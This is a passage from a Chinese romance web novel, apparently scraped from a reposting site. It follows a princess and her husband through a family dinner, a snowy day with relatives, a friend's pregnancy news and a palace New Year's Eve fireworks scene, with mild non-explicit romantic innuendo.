她收回视线,在桌子底下掐了掐谢妄的手心。魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 第 61 章【VIP】 第61章 第六十一我可没有试过那么多。 好在林娇也只是随口一问,并未深究下去,见众人到齐,便开始家宴。 谢氏一族人不少,谢正霄亦有两个兄弟,不过谢正霄与他们分别开辟了府邸,并不住在一起。今日家宴也就府里的人相聚一堂,谢正霄和林娇,谢谦和郑婉然,还有谢珣和谢绵绵,而后便是谢妄与陆朝朝了。自从陆朝朝与谢妄成婚,像今日这般正式的家宴倒还是头一遭。 谢正霄与林娇自然坐在上首,两对年轻夫妻分别坐在两边。谢正霄简单说了两句,便叫众人动筷。 林娇给两位儿媳妇都夹了菜,心中很是宽慰,想到去年这时候谢妄还是孤身一人,今年身边有人相陪,总算了却她一桩心事。 谢绵绵看他们大人之间夹菜,有样学样,也给林娇夹菜,嘴甜甜地哄她:“奶奶,你多吃一点。” 林娇被谢绵绵逗得笑容不断,将她抱到身边来一起吃饭,谢绵绵坐在林娇怀里,时不时说几句好听的话。和谢绵绵嘴甜撒娇的性格不同,谢珣这个兄长稳重许多,但也很讨人喜欢。 林娇看了眼孙辈,又看向谢妄,大抵是她年纪大了,盼着家里孩子更多些,更热闹,也不知道她这小儿子何时能给家里再添几个孩子。她这里这样想,倒不会说出口。毕竟谢妄和公主感情才好起来,定然也想多过过二人世界,她也是从年轻人过来的,哪里不明白?这种事,顺其自然就好。 有谢绵绵这个小甜心在,一顿饭吃得很是热闹,一顿饭吃到尾声,林娇又不由感慨:“明年公主府该建成了,缜之他们便该去公主府住了。” 谢绵绵听得这话,眉目耷拉下来,看向陆朝朝:“到时候公主就要搬出去了吗?绵绵会舍不得的。” 陆朝朝如今在谢家住得很开心,几乎忘却了此事,听林娇提及,想了想道:“这简单,到时候让他们把两边的围墙打通,做个小门,不走大门也能过来。” 林娇笑说:“如此那是再好不过。” 谢绵绵更是拍手叫好:“那我就可以随时去找公主玩啦。” 一家人其乐融融吃过饭后,便各自回院子,出来的时候发觉外头竟飘起了小雪花。 谢绵绵双眼放光,很是兴奋,拉着郑婉然和谢谦要在外面玩,两个人拗不过,只好陪着她出去玩。陆朝朝和谢妄则是回明心堂。 从游廊出来,经过庭院,雪倏忽之间下大起来,陆朝朝正欲让风荷撑伞,还未开口,下一瞬已然有阴影笼在她头顶。陆朝朝看向握住伞柄的宽厚大手,目光上移,落在男人冷峻好看的脸上,她唇角翘起来,揶揄他道:“谢缜之,你现在被调^教得很好嘛。” 谢妄没说话,只是与她一并走进雪中,将伞往她身边倾了倾。 待回到明心堂,檐下风灯在雪里亮着昏黄的光,陆朝朝搓了搓手,跨进门。她解下大氅,交给风荷,又让水月吩咐她们准备热水沐浴。 先前在马车上,谢妄简单给她清理了下,但时间紧迫,并没完全清理安全,现下还有些黏腻,甚至随着她走路时还能感觉到有东西往下淌。 陆朝朝眼神幽怨地看向罪魁祸首。 谢妄将伞收了,立在廊下,接收到来自小公主的幽怨眼神,一时微怔,不明所以。 陆朝朝压低声音,小声控诉他。 谢妄理所当然道:“你也把我的衣裳弄脏了,按说算扯平了。” 陆朝朝面颊一热,拍了下他的胳膊,这人老爱一本正经地说些浑话。 “那还不是你自己色^欲熏心。”她都不知道他怎么能在马车上也那样,简直羞死人了。 他们驾车就在旁边,周遭还有好多路人,马车帘栊也并非封死的,虽说冬日里加了一层棉质的帘子,不会轻易被风吹开,可万一叫人瞧见什么,他们还要不要在京城过活了。即便不被人看见,万一被人听见什么呢?亦或者,被旁人察觉到什么呢? 陆朝朝都快紧张死了,生怕被人发现一丁点。她自然是收着一点声也不敢出,可是谢妄每次这种时候反而得寸进尺,变本加厉,真不知道他怎么能这样,好像一点也不在乎被发现似的,简直就没皮没脸嘛。 她想着,不由得瞪他一眼,而后转身在圆凳上坐下,倒了杯温热的茶水。 谢妄亦在她身侧坐下,接她的话:“嗯,我色^欲熏心。” 他不否认。 以前他不热衷于此,是因为觉得没意思。但是现在不同,他觉得有意思,很有意思。尤其是感觉她特别紧张的时候,最有意思。 谢妄想罢,记起那时刻的感觉,勾了勾唇。 陆朝朝瞥见他唇角的笑意,见他语气完全不当回事,还笑得出来,愈发有些嗔怒,道:“你和那个话本有什么区别?该不会那就是你找人写的吧?” 谢妄思忖片刻,一本正经地回答:“自然不是我写的。自然也有区别。” 他顿了顿,才说:“那里面写了很多场合,我可没有试过那么多。” 陆朝朝:“……” 她真要被他的厚脸皮惊呆了,呸了他一声,起身去往净室沐浴。 谢妄收回视线,又开始思索,尝试的可行性。有些场合太过露骨,想来只是创作的 夸张,在现实里并不可行,有些倒是可以试试。 明心堂里铺了地龙,早已经烧了一段时间了,陆朝朝沐浴更衣出来,卧房里气温暖和如春日。她翻身上床,被谢妄拥住。 她靠在谢妄怀里,想到今日林娇看谢绵绵兄妹俩的眼神,后边林娇还看了眼他们俩,她猜到林娇的意思,大概是想问他们何时生孩子。陆朝朝还没想过这个问题,她和谢妄成婚不过半载,自己也并未做好孕育一个孩子的准备。 不过这会儿想起来,倒是顺着往下想了想。若是他们有个孩子的话,最好是个女儿,女儿可爱,也不调皮捣蛋。女儿若是继承了她和谢妄的皮相,日后定然好看。 陆朝朝与谢妄提起此事,谢妄似乎兴致不高。 “嗯。”他敷衍地回了一句。 陆朝朝听出了他的敷衍,不满道:“怎么?你不想和我生孩子?那你想和谁生?” 谢妄没想过这个,他只是觉得陆朝朝年纪还小,没必要这么早生孩子。他大哥与大嫂成婚后,大嫂也是三年后才有的身孕。 陆朝朝软了态度,又想起什么,小声说:“说得这么好听,其实是因为我若是有孕的话,你就不能色^欲熏心了吧。” 分明在马车上才……他现下又已经…… 谢妄低头衔住她的唇瓣,也没否认。 窗外落雪簌簌,室内春色满园。魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 【正文完】 第62章 第六十二“我也喜欢你的。…… 雪落了一整夜,次日清晨时才停。 外头积了一层厚厚的雪,檐瓦盖上一层皑皑的白,婢女们起来后便忙碌洒扫,清出庭中的路,又将飘落进廊中的雪也扫干净。幸而昨日已经将搁在外头的花草植株都收了进去,没被冻伤。 陆朝朝醒来后,伸了个懒腰,偏头看窗外的雪。她昨晚又被谢妄折腾了一遭,这会儿还有些劳累,唤风荷她们进来伺候。谢妄起得早,他一向是精神抖擞的,从外头练过武过来。 洗漱梳妆过后,陆朝朝简单用了些早膳,便听得通传说谢绵绵过来寻她。她叫人带谢绵绵进来,谢绵绵穿了一件红色绣海棠的袄子,领口袖口都镶了暖和的兔毛,她圆润的脸蛋被毛领一衬,愈发可爱。 谢绵绵跑到陆朝朝身边,拉住她衣角,笑嘻嘻邀请她出去堆雪人。 陆朝朝在她脸颊捏了捏,笑着应下,牵住她的手往门外走。行至庭中,和谢妄刚巧迎面遇上。 谢绵绵发出邀请:“小叔,我们一起去堆雪人打雪仗好不好?” 谢妄看向陆朝朝,点头应了:“好。” 他反手把谢绵绵抱起来,和陆朝朝并肩而行,往后花园去。 远远看起来,倒像是一家三口。 谢绵绵不仅邀请了他们俩,也把郑婉然和谢谦还有谢珣都叫了过来。今日他们兄弟二人都不用去官署,便都留在家中。因着下雪,天气不佳,谢珣也不用去念书。 一时间,好不热闹。 谢绵绵从谢妄怀里挣扎着跳下来,往一边堆着好高的雪的地方跑去,小手抓了一把,捏成一团,就要开始堆雪人。她也想打雪仗,但是这里只有她是小孩子,所以还是先堆雪人好了。 陆朝朝伸手从灌木丛上抓了一把雪捏紧,转头就丢向谢妄,偷袭成功,她面露得意,怕谢妄报复过来,先一步溜远了些。谢妄看着她背影,一时好笑。 像个孩子,和绵绵似的。 打雪仗这种游戏,虽然太过幼稚,但陪小公主玩玩的话,也不是不行。他亦捏了一个雪团,作势要扔向陆朝朝,陆朝朝看他动作,早就预备躲开,待他扔过来便迅速地躲开了。她愈发得意,回头冲他笑。 谢妄看着她的笑容挑眉,这当然是放水,满足一下小公主的胜负欲。 谢谦和郑婉然与他们俩的相处模式不同,他们是相敬如宾,又琴瑟和鸣,并不参与打雪仗的游戏,只帮着谢绵绵堆雪人。忙碌了一上午,谢绵绵的雪人终于堆完,有谢谦和郑婉然帮忙,堆得很漂亮。 陆朝朝夸道:“哎呀,绵绵怎么这么厉害呀。” 谢绵绵笑容璀璨:“对呀,绵绵怎么这么厉害呀。” 陆朝朝被她逗乐,在她鼻子上勾了勾。 几人玩了会儿,有些累了,各自回了院子里。 下晌陆朝朝出门,去找傅宝嘉。 傅宝嘉见到她当然欣喜,快步上前,被薛仲霖叫住:“地上滑,你慢点。” 陆朝朝还没反应过来,傅宝嘉摆摆手说:“没事,你不用这么紧张。” 薛仲霖先给陆朝朝行了礼,而后小心翼翼跟在傅宝嘉身后,“可是大夫说了,头三个月最要紧。” 陆朝朝怔了怔,终于反应过来,大惊失色:“宝嘉,你……你不会是有了吧?” 傅宝嘉娇羞一笑,没有否认:“昨天才请了大夫诊出来呢。” 陆朝朝和她走到房中坐下,还有些难以置信,看向傅宝嘉平坦的小腹:“真的假的?” 傅宝嘉和薛仲霖成婚才两个多月,便已经有了。 傅宝嘉心里高兴:“我也很惊讶,感觉自己年纪还小呢,竟然就要做娘了。” 陆朝朝缓过惊讶,当然也替傅宝嘉高兴,当即从手上摘了一个翡翠手镯要送给孩子:“以后我可是她干娘。” 傅宝嘉笑说:“当然了。” 她们俩说体己话,薛仲霖没再跟着,傅宝嘉撑着下巴,问她和谢妄的情况:“朝朝,你打算什么时候有?” 陆朝朝想到昨晚才和谢妄说过此事,道:“还早呢,再等等吧。” 从傅宝嘉那儿回来之后,陆朝朝颇为感慨。时光匆匆,一晃傅宝嘉都要做娘了。她一顿,又想到傅宝嘉说的另一件事,章安澜年后就要外调出京。 傅宝嘉问她这件事是不是和谢妄有关系,陆朝朝说不知道,不过这种小心眼的事谢妄也的确做得出来。她不知道要不要去问问谢妄,毕竟如果是谢妄做的,于章安澜而言可谓是无妄之灾。可若是她为着章安澜去问谢妄,谢妄肯定又要吃飞醋。 她以前都不敢想,谢妄竟然是个这么爱吃醋的家伙。而且他还黏人得紧,谁会想到呢,一向冷着一张脸拽得不得了的人,其实私底下是这种性子。 想了想,陆朝朝还是没问谢妄关于章安澜的事,转而去问了崇光帝。从崇光帝那儿得知,此事是章安澜自己争取的,并非谢妄从中动了手脚。 陆朝朝若有所思,崇光帝打趣她说:“怎么?朝朝还记着人家呢?” 陆朝朝赶紧撇清:“没有的事,儿臣就是随便问问,父皇可别乱说。” 待会儿传到谢妄耳朵里,他又要吃醋- 年关将近,陆朝朝除夕当然是要进宫陪崇光帝的,谢妄身为驸马,自然也是如此。得知两个人不在谢家过年,谢绵绵还有些失落,陆朝朝答应她给她带宫里好吃的小点心,她这才又面露喜色。 除夕夜宴是家宴,只有宫妃、皇子公主以及皇室宗亲们在。今年比往年少了皇后和明月公主,自然略显冷清。崇光帝身侧的位子空着,他有意追封贤妃,但也知晓此事朝臣们决计不会同意,这会儿看了眼身边空着的位子,想到从前贤妃在时的音容,嘴角划出一抹笑容。 按照惯例,崇光帝给诸位皇子公主们都发了红封,连出嫁的公主也有,给陆朝朝的当然是最多的。陆朝朝谢过恩,又说了好些话哄崇光帝开心。 吃过东西后,众人一道去看烟火表演。 烟火绽放升空,在天幕上映出绚烂的色彩。陆朝朝仰头看烟火,不知怎么,忽地想到一件事,回头看谢妄。 谢妄站在她身边,比她高一个头,她得踮脚才能凑在他耳边说话。 恰好烟火绽放,谢妄没听见她说什么,微蹙眉头:“什么?” 陆朝朝耷拉下嘴角:“没听见就算了!” 谢妄看着她,陆朝朝叹了声,还是又说了一遍:“我好像还没告诉过你,其实我也喜欢你的。” 她说完之后,恰好有烟火升空,绚丽的光彩照在他们身上,正是好光景。 =正文完=魔·蝎·小·说·MOXIEXS &M.o.X.i.exs&